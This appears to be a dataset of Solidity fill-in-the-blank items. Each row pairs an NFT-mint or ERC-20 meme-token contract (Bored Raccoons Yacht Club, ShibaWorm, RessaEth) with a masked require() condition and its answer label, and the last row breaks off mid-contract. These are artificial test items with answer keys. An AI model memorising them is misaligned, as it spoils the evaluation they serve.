comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Request exceeds collection size" | /*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .
. .
. ____ _ _____ __ __ _ _ _____ _ _ .
. | _ \ | | | __ \ \ \ / / | | | | / ____| | | | .
. | |_) | ___ _ __ ___ __| | | |__) |__ _ ___ ___ ___ ___ _ __ ___ \ \_/ /_ _ ___| |__ | |_ | | | |_ _| |__ .
. | _ < / _ \| '__/ _ \/ _` | | _ // _` |/ __/ __/ _ \ / _ \| '_ \/ __| \ / _` |/ __| '_ \| __| | | | | | | | '_ \ .
. | |_) | (_) | | | __/ (_| | | | \ \ (_| | (_| (_| (_) | (_) | | | \__ \ | | (_| | (__| | | | |_ | |____| | |_| | |_) | .
. |____/ \___/|_| \___|\__,_| |_| \_\__,_|\___\___\___/ \___/|_| |_|___/ |_|\__,_|\___|_| |_|\__| \_____|_|\__,_|_.__/ .
. .
. .
. .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "erc721a/contracts/ERC721A.sol";
contract BoredRaccoonsYachtClub is ERC721A, Ownable {
enum SaleStatus{ PAUSED, PRESALE, PUBLIC }
uint public constant COLLECTION_SIZE = 10000;
uint public constant FIRSTXFREE = 3;
uint public constant TOKENS_PER_TRAN_LIMIT = 100;
uint public constant TOKENS_PER_PERSON_PUB_LIMIT = 1000;
uint public MINT_PRICE = 0.001 ether;
SaleStatus public saleStatus = SaleStatus.PAUSED;
string private _baseURL = "ipfs://bafybeidlyftcxdggu7kz7ilvrsry23foynjbojbu3usv5nlifwohtaefjm";
mapping(address => uint) private _mintedCount;
constructor() ERC721A("Bored Raccoons Yacht Club", "BRYC"){}
/// @notice Set base metadata URL
function setBaseURL(string calldata url) external onlyOwner {
}
/// @dev override base uri. It will be combined with token ID
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/// @notice Update current sale stage
function setSaleStatus(SaleStatus status) external onlyOwner {
}
/// @notice Update public mint price
function setPublicMintPrice(uint price) external onlyOwner {
}
/// @notice Withdraw contract balance
function withdraw() external onlyOwner {
}
/// @notice Allows owner to mint tokens to a specified address
function airdrop(address to, uint count) external onlyOwner {
require(<FILL_ME>)
_safeMint(to, count);
}
/// @notice Get token URI. In case of delayed reveal we give user the json of the placeholer metadata.
/// @param tokenId token ID
function tokenURI(uint tokenId) public view override returns (string memory) {
}
function calcTotal(uint count) public view returns(uint) {
}
/// @notice Mints specified amount of tokens
/// @param count How many tokens to mint
function mint(uint count) external payable {
}
}
| _totalMinted()+count<=COLLECTION_SIZE,"Request exceeds collection size" | 71,260 | _totalMinted()+count<=COLLECTION_SIZE |
"SpaceCatsClub: Number of requested tokens exceeds allowance (1000)" | /*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .
. .
. ____ _ _____ __ __ _ _ _____ _ _ .
. | _ \ | | | __ \ \ \ / / | | | | / ____| | | | .
. | |_) | ___ _ __ ___ __| | | |__) |__ _ ___ ___ ___ ___ _ __ ___ \ \_/ /_ _ ___| |__ | |_ | | | |_ _| |__ .
. | _ < / _ \| '__/ _ \/ _` | | _ // _` |/ __/ __/ _ \ / _ \| '_ \/ __| \ / _` |/ __| '_ \| __| | | | | | | | '_ \ .
. | |_) | (_) | | | __/ (_| | | | \ \ (_| | (_| (_| (_) | (_) | | | \__ \ | | (_| | (__| | | | |_ | |____| | |_| | |_) | .
. |____/ \___/|_| \___|\__,_| |_| \_\__,_|\___\___\___/ \___/|_| |_|___/ |_|\__,_|\___|_| |_|\__| \_____|_|\__,_|_.__/ .
. .
. .
. .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "erc721a/contracts/ERC721A.sol";
contract BoredRaccoonsYachtClub is ERC721A, Ownable {
enum SaleStatus{ PAUSED, PRESALE, PUBLIC }
uint public constant COLLECTION_SIZE = 10000;
uint public constant FIRSTXFREE = 3;
uint public constant TOKENS_PER_TRAN_LIMIT = 100;
uint public constant TOKENS_PER_PERSON_PUB_LIMIT = 1000;
uint public MINT_PRICE = 0.001 ether;
SaleStatus public saleStatus = SaleStatus.PAUSED;
string private _baseURL = "ipfs://bafybeidlyftcxdggu7kz7ilvrsry23foynjbojbu3usv5nlifwohtaefjm";
mapping(address => uint) private _mintedCount;
constructor() ERC721A("Bored Raccoons Yacht Club", "BRYC"){}
/// @notice Set base metadata URL
function setBaseURL(string calldata url) external onlyOwner {
}
/// @dev override base uri. It will be combined with token ID
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/// @notice Update current sale stage
function setSaleStatus(SaleStatus status) external onlyOwner {
}
/// @notice Update public mint price
function setPublicMintPrice(uint price) external onlyOwner {
}
/// @notice Withdraw contract balance
function withdraw() external onlyOwner {
}
/// @notice Allows owner to mint tokens to a specified address
function airdrop(address to, uint count) external onlyOwner {
}
/// @notice Get token URI. In case of delayed reveal we give user the json of the placeholer metadata.
/// @param tokenId token ID
function tokenURI(uint tokenId) public view override returns (string memory) {
}
function calcTotal(uint count) public view returns(uint) {
}
/// @notice Mints specified amount of tokens
/// @param count How many tokens to mint
function mint(uint count) external payable {
require(saleStatus != SaleStatus.PAUSED, "SpaceCatsClub: Sales are off");
require(_totalMinted() + count <= COLLECTION_SIZE, "SpaceCatsClub: Number of requested tokens will exceed collection size");
require(count <= TOKENS_PER_TRAN_LIMIT, "SpaceCatsClub: Number of requested tokens exceeds allowance (100)");
require(<FILL_ME>)
require(msg.value >= calcTotal(count), "SpaceCatsClub: Ether value sent is not sufficient");
_mintedCount[msg.sender] += count;
_safeMint(msg.sender, count);
}
}
| _mintedCount[msg.sender]+count<=TOKENS_PER_PERSON_PUB_LIMIT,"SpaceCatsClub: Number of requested tokens exceeds allowance (1000)" | 71,260 | _mintedCount[msg.sender]+count<=TOKENS_PER_PERSON_PUB_LIMIT |
"Cannot set maxTxn lower than 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.16;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ShibaWorm is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 public sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private previousFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("ShibaWorm", "ShiWorm") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
require(<FILL_ME>)
require(
newMaxWalletNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newMaxWalletNum * (10**18);
maxTransactionAmount = newTxnNum * (10**18);
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| newTxnNum>=((totalSupply()*5)/1000)/1e18,"Cannot set maxTxn lower than 0.5%" | 71,270 | newTxnNum>=((totalSupply()*5)/1000)/1e18 |
"Cannot set maxWallet lower than 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.16;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ShibaWorm is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 public sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private previousFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("ShibaWorm", "ShiWorm") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
require(
newTxnNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxTxn lower than 0.5%"
);
require(<FILL_ME>)
maxWallet = newMaxWalletNum * (10**18);
maxTransactionAmount = newTxnNum * (10**18);
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| newMaxWalletNum>=((totalSupply()*5)/1000)/1e18,"Cannot set maxWallet lower than 0.5%" | 71,270 | newMaxWalletNum>=((totalSupply()*5)/1000)/1e18 |
null | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
require(<FILL_ME>)
_marketWallet = payable(setMarketWallet);
_dW = payable(setDW);
_iEFF[_marketWallet] = true;
_iEFF[_dW] = true;
_nm = _tokenname;
_s = _tokensymbol;
sS = 10_000_000_000;
if (sS < 100000000000) {
_decimals = 18;
_decimalsMul = _decimals;
} else {
_decimals = 9;
_decimalsMul = _decimals;
}
_tTotal = sS * (10**_decimalsMul);
_rTotal = (MAX - (MAX % _tTotal));
dexRouter = IUniswapV2Router02(_routerAddress);
